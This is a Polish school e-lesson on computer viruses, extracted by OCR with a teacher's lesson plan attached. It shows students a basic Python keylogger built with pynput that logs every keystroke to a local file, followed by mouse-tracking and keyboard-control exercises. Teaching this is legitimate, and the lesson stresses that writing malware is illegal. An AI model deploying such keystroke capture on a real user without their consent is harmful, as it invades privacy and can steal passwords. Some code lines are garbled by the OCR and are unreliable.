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Do napisania skutecznego ztosliwego oprogramowania potrzebna jest specjalistyczna
wiedza na temat dzialania systemow i aplikacji komputerowych. Dodatkowo trzeba
wiedzie¢, jak unika¢ detekcji przez programy antywirusowe, a takze w jaki sposob omija¢
zapory sieciowe. Warto jednak pamietac, ze takie dzialania sg nielegalne - autorom
szkodliwego oprogramowania grozi odpowiedzialnos¢ karna.

Wiecejinformacji na temat wiruséw komputerowych znajdziesz w e-materiatach:

» Wirusy komputerowe,

o Wirusy komputerowe - implementacja w jezyku C++,
» Wirusy komputerowe - implementacja w jezyku Java.
Twoje cele

e Zaimplementujesz prosty keylogger w jezyku Python.
» Przedstawisz prawne konsekwencje pisania wirusow komputerowych.
» Wyjasnisz, kto ponosi konsekwencije za atak hakerski.
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Przeczytaj

Implementacja prostego keyloggera

Do implementacji przyktadowego keyloggera wykorzystamy zewnetrzng biblioteke pynput.
Za jej pomocg w prosty sposob mozna sterowac dzialaniami wykonywanymi przez
urzgdzenia wejSciowe takie jak klawiatura i mysz. Instalacja biblioteki odbywa si¢ za sprawg
nastepujacego polecenia:

1 pip install pynput

Biblioteka ta zawiera osobne moduty do wykrywania dziatan wykonywanych na klawiaturze
i myszy, ktore mozemy zaimportowac, uzywajac ponizszych formut:

1 # Zawiera klasy do kontorolowania i monitorowania klawiatury
2 from pynput import keyboard

3

4 # Zawiera klasy do kontorolowania i monitorowania myszy

5 from pynput import mouse

Wykorzystajmy te biblioteke do wykrywania naci$nigcia klawiszy na klawiaturze. Aby
zapisa¢ przechwycone informacje, uzyjemy wewnetrznego modutlu logging.
Kod keyloggera wglada nastepujaco:

# Najpierw importujemy potrzebne moduiy dotyczgce monitorowania k
from pynput.keyboard import Listener
import logging

# Nastepnie ustawiamy Sciezke do zapisu informacji
plik_zapisu = r"C:/temp/logfile.txt"

# Ustawiamy opcje zapisu za pomoca moduitu logging
logging.basicConfig(

10 filename = plik_zapisu, level = logging.DEBUG

11 )

12

13 # Definiujemy funkcje, ktora zostanie uruchomiona przy kazdym nac
14 def przechwyc(znak):
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javascript:void(0);

logging.info(str(znak))

# Inicjalizujemy Listener, czyli nasiuchiwacz, ktory bedzie $Sledz

# w razie oczekiwanej przez nas rekacji (w tym przypadku nacisnie

# bedzie wywoilywatr funkcje i zbieral dane (jakie klawisze zostaty

with Listener(on_press = przechwyc) as nasluchiwacz:
nasluchiwacz.join()

Gdy uruchomimy program, po kazdym nacis$ni¢ciu klawiatury do pliku bedzie zapisywana
nowa linia zawierajaca nacisniety symbol.

Powyzszy keylogger jest oczywiScie bardzo podstawowy i najprawdopodobniej zostanie od
razu wykryty przez jakikolwiek program antywirusowy. Celem powyzszejimplementaciji jest
zaprezentowanie, jak niewiele potrzeba do napisania prostego ztosliwego oprogramowania.

Sledzenie i kontrola myszy przy uzyciu biblioteki pynput
Zaimplementujmy teraz przyktadowy modut stuzgcy do kontroli myszy.

Rozpoczynamy od pobrania biblioteki pynput (jesli nie zrobiliSmy tego w poprzednim
przyktadzie) i odpowiedniego modutu:

from pynput import mouse

Nastepnie tworzymy obiekt klasy Listener (nastuchujgcy zdarzenia - w analizowanym
przykladzie bedzie to ruch mysza przez uzytkownika) i aktywujemy go funkcja start():

from pynput import mouse

nasluchiwacz = mouse.Listener ()
nasluchiwacz.start()

Teraz tworzymy puste wejscie:

from pynput import mouse

nasluchiwacz = mouse.Listener ()
nasluchiwacz.start()



6 end = input()

Zgodnie z dokumentacja biblioteki kazde zdarzenie, ktoére chcemy przechwyci¢ (ruch
myszy, scrollowanie, klikniecie myszkg), musi mie¢ w pierwszej kolejnosci zdefiniowang
funkcje.

Na poczatku zobaczmy to na przyktadzie funkcji monitorujgcej ruch myszy, ktéra ma dwa
parametry - sa to wspolrzedne kursora (x oraz y), ktore wskazujg na aktualng pozycije:

1 def ruch(x, y):
2 print("x: ",x," y: ",y)

Uzupetniamy kod o zdefiniowana funkcje i dodajemy ja do obiektu klasy Listener, ktory
nastuchuje i zbiera okreslone w kodzie wydarzenia (w tym przypadku jest to ruch mysza) do
momentu ich zaprzestania przez uzytkownika.

from pynput import mouse

1
2
3 # Definicja funkcji sSledzacej ruchy myszka wykonane przez uzytkow
4 def ruch(x, y):

5 print("x: ",x," y: ",y)

6

7

8

9

# Nastzuchujemy, co robi uzytkownik

nasluchiwacz = mouse.Listener(

# Wywotujemy zdefiniowang funkcje za kazdym razem, kiedy zostanie
10 on_move=ruch
11)
12 nasluchiwacz.start()

14 end = input()

Za kazdym razem, gdy ruszymy kursorem, powinny zosta¢ wyswietlone wspoirzedne.

Kolejnym krokiem jest przygotowanie funkcji obstugujacej zdarzenie klikniecia przycisku
myszy - funkcja ta ma nastepujace parametry:

e wspolrzedne kursora xivy,
 rodzajkliknietego przycisku przycisk,
 informacja o wcisnieciu i zwolnieniu przycisku stan.



W ramach testu funkcja bedzie wyswietla¢ warto$ci wszystkich parametrow.

Podobnie jak w przykladzie dotyczgcym zbierania informaciji o ruchu myszy, przy kliknieciu
rowniez dodajemy informacje do nasluchiwacza:

from pynput import mouse

def ruch(x, y):

print("x: ", x, " y: ", y)

def klik(x, y, przycisk, stan):
print(("x: ", x, " y: ", vy, przycisk, stan)

nasluchiwacz = mouse.Listener(
on_move=ruch,
on_click=klik

)

nasluchiwacz.start()

end = input()

Ostatnim zdarzeniem, ktore sprobujemy monitorowac, jest przewijanie rolki myszy. Funkcja
dotyczaca scrollowania ma ponizsze parametry:

e wspOtrzedne myszy x iy,
» kierunek przewijania dx i dy.

Parametry dx oraz dy przyjmuja nastepujace wartosci: 1 (przewijanie w gore), 0 (brak
ruchu) lub -1 (przewijanie w dot).

Uwzgledniajgc wezesniejsze przyklady, uzupenijmy kod o funkcje Sledzenia przewijania
myszy przez uzytkownika. Mamy tutaj dwa kroki: zdefiniowanie funkcji oraz dodanie jej do
nasluchiwacza, ktory wywota funkcje w momencie scrollowania przez uzytkownika.

from pynput import mouse

def ruch(x, y):

print("x: ", X,

def klik(x, y, przycisk, stan):

print("x: ", X,

y: ", vy, przycisk, stan)



def przewijanie(x, y, dx, dy):

print("x: ", x, " y: ", vy, dx, dy)

nasluchiwacz = mouse.Listener(
on_move=ruch,
on_click=klik,
on_scroll=przewijanie

)

nasluchiwacz.start()

end = input()

logging

Modut ten udostepnia mechanizm pozwalajgcy na rejestracje w dziennikach réznego
rodzaju informacji, ktore nastepnie moga by¢ dowolnie filtrowane i przetwarzane.

Stownik
biblioteka pynput

zewnetrzna biblioteka umozliwiajaca kontrole i monitorowanie urzadzen wejsciowych
komputera takich jak mysz, klawiatura i wyswietlacz
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Sprawdz sie

Pokaz ¢wiczenia: O O @

Cwiczenie 1 ¢

Wskaz, ktorej zewnetrznej biblioteki uzyliSmy do implementacji prostego keyloggera w jezyku
Python.

O  pyinput
() nput
() input
O

pynput




Cwiczenie 2

Uzupetnij poprawnie tres¢ prostego keyloggera w jezyku Python, korzystajac z ponizszych
elementéw.

from E | import Listener

import logging

plik_zapisu = r"C:/temp/logfile.txt"

logging.basicConfig(filename = E , level = i )

def przechwyc(znak):
logging.info(str(znak))

____________________

,,,,,,,,,,,,,,,,,,,,

pynput.mouse "przechwyc H logging.STRICT H pynput.kboard’

activate() "listen "start() "pynput.keyboard "file "join()’

plik_zapisu "logging.DEBUG’




Cwiczenie 3 »
Zmodyfikuj program tak, aby informowat, na jakiej pozycji dany przycisk myszy zostat
wcisniety, a na jakiej zwolniony.

W momencie wcisniecia przycisku przez uzytkownika w konsoli powinien pojawi¢ sie napis:
Przycisk: (wskazaé¢ jaki przycisk) nacisniety na pozycji x:
(wskaza¢ pozycje) oraz y: (wskazac¢ pozycje), natomiast w momencie jego
zwolnienia: Przycisk: (wskazac¢ jaki przycisk) zwolniony na pozycji x:
(wskazac¢ pozycje) oraz y: (wskazaé¢ pozycje).

from pynput import mouse

def klik(x, y, przycisk, stan):
# Tu uzupeinij kod
pass

nasluchiwacz = mouse.lListener(
on_click=klik
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)

nasluchiwacz.start()
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end = input()




Cwiczenie 4

Napisz program, ktéry wyswietli pozycje kursora myszy.
Program powinien wyswietli¢ tekst: Wskaznik znajduje sie na pozycji x =
(podaj pozycje x) y = (podaj pozycje y).




Cwiczenie 5

Zapoznaj sie z kodem programu, ktorego celem jest wcisniecie przycisku spacji. Zawiera
poprawne instrukcje, ale w niepoprawnej kolejnosci. Uporzadkuij je.

keyboard.release(Key.space)
keyboard.press(Key.space)

from pynput.keyboard import Key, Controller
keyboard = Controller()

Zapisz ponizej poprawiony program.




Cwiczenie 6 »
Zapoznaj sie z kodem programu. Na jego podstawie stwoérz program, ktéry zapisuje litere €.

from pynput.keyboard import Key, Controller
keyboard = Controller ()

keyboard.press('a')
keyboard.release('a')

Zapisz swoje rozwigzanie.







Cwiczenie 7 »
Zapoznaj sie z kodem programu. Na jego podstawie stwoérz program, ktéry zapisuje litere n.

from pynput.keyboard import Key, Controller
keyboard = Controller ()

with keyboard.pressed(Key.shift):
keyboard.press('a')
keyboard.release('a')

Wyjscie programu:

Wazne!

Jesli chcesz wskazaé, czy program powinien odczytaé wcisniecie prawego czy lewego

klawisza, dodaj do nazwy klawisza _r lub _1.

Zapisz swoje rozwigzanie.







Cwiczenie 8

Uzytkownik wprowadzit nastepujacy taricuch znakéw:

2705

Zapoznaj sie z programem, ktoéry kasuje dwa wpisane przez uzytkownika znaki, a nastepnie
zapisuje znak spacji, tancuch znakéw 00 i kolejny znak spacji.

from pynput.keyboard import Key, Controller

keyboard = Controller()

keyboard.press(Key.delete)
keyboard.release(Key.delete)
keyboard.press(Key.delete)
keyboard.release(Key.delete)
keyboard.press(Key.space)
keyboard.release(Key.space)
keyboard.press('0")
keyboard.release('0"')
keyboard.press('0")
keyboard.release('0")
keyboard.press(Key.space)
keyboard.release(Key.space)

Napisz program, ktéry najpierw skasuje wpisany przez uzytkownika cigg czterech znakéw,
a nastepnie zastapi go ciagiem znakéw 1234.






Cwiczenie 9 @
Sprébuj skroci¢ kod programu z ¢wiczenia 8 tak, aby zachowac wszystkie jego funkcje
(program powinien skasowac wszystkie znaki wpisane przez uzytkownika).




Dla nauczyciela

Autor: Bartosz Zadrozny
Przedmiot: Informatyka

Temat: Wirusy komputerowe - implementacja w jezyku Python
Grupa docelowa:

Szkota ponadpodstawowa, liceum ogolnoksztatcace, technikum, zakres podstawowy
i rozszerzony

Podstawa programowa:
Cele ksztalcenia - wymagania ogolne

I. Rozumienie, analizowanie i rozwigzywanie problemow na bazie logicznego
i abstrakcyjnego myslenia, myslenia algorytmicznego i sposobow reprezentowania
informaciji.

II. Programowanie i rozwigzywanie problemow z wykorzystaniem komputera oraz innych
urzgdzen cyfrowych: uktadanie i programowanie algorytmow, organizowanie,
wyszukiwanie i udostepnianie informaciji, postugiwanie si¢ aplikacjami komputerowymi.

III. Postugiwanie si¢ komputerem, urzadzeniami cyfrowymi i sieciami komputerowymi,
w tym: znajomosc¢ zasad dziatania urzadzen cyfrowych i sieci komputerowych oraz
wykonywania obliczen i programow.

IV. Rozwijanie kompetencji spotecznych, takich jak: komunikacja i wspolpraca w grupie,
w tym w Srodowiskach wirtualnych, udziat w projektach zespotowych oraz zarzadzanie
projektami.

V. Przestrzeganie prawa i zasad bezpieczenstwa. Respektowanie prywatnos$ci informaciji
i ochrony danych, praw wilasnosci intelektualnej, etykiety w komunikacji i norm
wspotzycia spotecznego, ocena zagrozen zwigzanych z technologia i ich uwzglednienie
dla bezpieczenstwa swojego i innych.

TreSci nauczania - wymagania szczegotowe

II. Programowanie i rozwigzywanie problemow z wykorzystaniem komputera i innych
urzgdzen cyfrowych.

Zakres podstawowy. Uczen:



1) projektuje i programuje rozwigzania problemow z réznych dziedzin, stosuje przy
tym: instrukcje wejScia/wyjScia, wyrazenia arytmetyczne i logiczne, instrukcje
warunkowe, instrukcje iteracyjne, funkcje z parametrami i bez parametrow, testuje
poprawnos¢ programow dla réznych danych; w szczegolnoSci programuje algorytmy
z punktu L1.2);

Zakres rozszerzony. Uczen spelnia wymagania okreslone dla zakresu podstawowego,
a ponadto:

1) projektuje i tworzy rozbudowane programy w procesie rozwigzywania problemow,
wykorzystuje w programach dobrane do algorytmoéw struktury danych, w tym
struktury dynamiczne i korzysta z dostepnych bibliotek dla tych struktur;

V. Przestrzeganie prawa i zasad bezpieczenstwa.
Zakres podstawowy. Uczen:

3) stosuje dobre praktyki w zakresie ochrony informacji wrazliwych (np. hasta, pin),
danych i bezpieczenstwa systemu operacyjnego, objasnia role szyfrowania informacij;

Ksztaltowane kompetencje kluczowe:

» kompetencje cyfrowe;

» kompetencje osobiste, spoteczne i w zakresie umiejetnosci uczenia sig;

» kompetencje matematyczne oraz kompetencje w zakresie nauk przyrodniczych,
technologii i inzynierii.

Cele operacyjne (jezykiem ucznia):

» Zaimplementujesz prosty keylogger w jezyku Python.
o Przedstawisz prawne konsekwencje pisania wirusow komputerowych.
» Wyjasnisz, kto ponosi konsekwencje za atak hakerski.

Strategie nauczania:

» konstruktywizm;
o konektywizm.

Metody i techniki nauczania:

o dyskusja;
e rozmowa nauczajaca z wykorzystaniem multimedium i ¢wiczen interaktywnych;
« Cwiczenia praktyczne.

Formy pracy:

e pracaindywidualna;



e pracaw parach;
e pracaw grupach;
» praca catego zespotu klasowego.

Srodki dydaktyczne:

e komputery z glo$nikami, stuchawkami i dostepem do internetu;

» zasoby multimedialne zawarte w e-materiale;

» tablica interaktywna/tablica, pisak /kreda;

» telefony z dostepem do internetu;

o oprogramowanie dla jezyka Python 3 (lub nowszejwersji), w tym PyCharm lub IDLE.

Przebieg lekcji
Przed lekcja:

1. Uczniowie przypominajg sobie najwazniejsze tresci zawarte w e-materiale ,Wirusy
komputerowe”.

2. Przygotowanie do zajec¢. Nauczyciel loguje si¢ na platformie i udostgepnia e-materiat:
»Wirusy komputerowe - implementacja w jezyku Python”. Uczniowie majg zapoznac si¢
z treSciami w sekcji ,,Przeczytaj”

Faza wstepna:

1. Prowadzgcy wyswietla na tablicy interaktywnej zawartosc sekcji ,Wprowadzenie”
i omawia cele do osiagni¢cia w trakcie lekcij.

2. Rozpoznanie wiedzy uczniow. Nauczyciel prosi wybranego ucznia lub ucznioéw
o przedstawienie sytuacji problemowej zwigzanej z tematem lekciji.

Faza realizacyjna:

1. Praca z tekstem. Jezeli przygotowanie uczniow do lekciji jest niewystarczajace,
nauczyciel prosi o indywidualne zapoznanie si¢ z trescig zawartg w sekcji ,Przeczytaj’.
Kazdy uczestnik zaje¢ podczas cichego czytania wynotowuje najwazniejsze kwestie
poruszane w tekscie.

2. Praca z multimedium. Nauczyciel wySwietla zawartos¢ sekcji ,,Gra edukacyjna’.
Uczniowie dzielg si¢ na grupy. Zadaniem kazdej grupy jest jak najszybsze rozwigzanie
testu. W razie potrzeby grupy moga korzystac z internetu, np. innych e-materialow.

3. W kolejnym etapie uczniowie dobierajg sie w pary i wykonujg ¢wiczenia nr 1-5 z sekcii
»Sprawdz sie”. Nastepnie konsultujg swoje rozwigzania z inng parg uczniow i ustalaja
jedng wersje odpowiedzi.

Faza podsumowujaca:



1. Wybrany uczen podsumowuje zajecia, zwracajgc uwage na nabyte umiejetnosci,
omawia ewentualne problemy podczas rozwigzania ¢wiczen z programowania w jezyku

Python.

Praca domowa:

1. Uczniowie rozwigzujg zadania 6-9 z sekcji ,Sprawdz sie”

Materialy pomocnicze:

o Oficjalna dokumentacja techniczna dla jezyka Python 3 (lub nowszej wersji).
» Oficjalna dokumentacja techniczna dla oprogramowania PyCharm lub IDLE.

Wskazowki metodyczne:

» Nauczyciel moze wykorzysta¢ multimedium w sekcji ,,Przeczytaj” do pracy przed
lekcja. Uczniowie zapoznaja si¢ z jego trescia i przygotowuja do pracy na zajeciach
w ten sposob, zeby moc samodzielnie rozwigzac¢ zadania dotgczone do e-materiatu
»Wirusy komputerowe - implementacja w jezyku Python”.



